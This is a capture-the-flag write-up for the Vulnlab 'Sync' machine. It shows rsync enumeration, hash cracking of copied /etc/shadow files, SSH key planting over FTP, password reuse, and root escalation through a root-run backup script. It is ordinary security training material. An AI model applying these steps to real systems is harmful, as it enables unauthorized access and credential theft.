Vulnlab :: Sync Writeup

Enumeration

Nmap Scan

I started with a standard scan using Nmap:

Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-02 18:11 CET
Nmap scan report for 10.10.95.205
Host is up (0.036s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5840f1968f678e470e7ee41c1128949c (ECDSA)
|_  256 4b59e4b26397e5142d4df8d8c913ca2c (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.52 (Ubuntu)
873/tcp open  rsync   (protocol version 31)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Rsync

I noticed that the machine exposes an rsync service. I enumerated available modules:

rsync -av --list-only rsync://10.10.95.205/

I found a module named httpd:

rsync -av --list-only rsync://10.10.95.205/httpd

The rsync service contains an application backup. I downloaded it with:

rsync -av rsync://10.10.95.205/httpd ./httpd

Application Analysis

PHP

Reviewing the PHP code, I found a secret and the logic used to generate password hashes.

Database

The database contains password hashes for two users.

Hashcat

Using Hashcat, I managed to crack the password hash for the user triss.

FTP

FTP Access

SSH login is not possible with the cracked password, as key-based authentication is enforced. However, I was able to log in to the FTP server.

SSH Key Upload

The FTP server’s root directory is the home directory of the user triss, which allows me to upload my public SSH key.

cp ./.ssh/id_rsa.pub /workspace/
cat id_rsa.pub > authorized_keys

Now I can log in via SSH using my private key:

ssh triss@10.10.95.205 -i id_rsa

Privilege Escalation

User Flag

There is no user flag in triss’s home directory. However, due to a reference to “The Witcher” by Andrzej Sapkowski in the challenge, I guessed that the password for the user jennifer is the same as for triss. This allowed me to obtain the user flag.

/backup Directory

After running LinPEAS, I discovered the /backup directory.

John the Ripper

I found backup copies of /etc/passwd and /etc/shadow. I used John the Ripper to crack the password for the user sa:

unshadow passwd shadow > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=crypt

backup.sh

I discovered a backup script owned by the user sa

#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup

After modifying the script and executing it, I was able to escalate privileges and gain root access.

/bin/bash -p

“Wiem, za rzadko się modlę, może kiedyś dorosnę
Gorzkie słowa jak ogień rzucają na twarzy cień
Proszę, daj mi melodię, niech zapełni sto wspomnień
Moje wersy jak fobie będą zawsze obok mnie…” ~Inee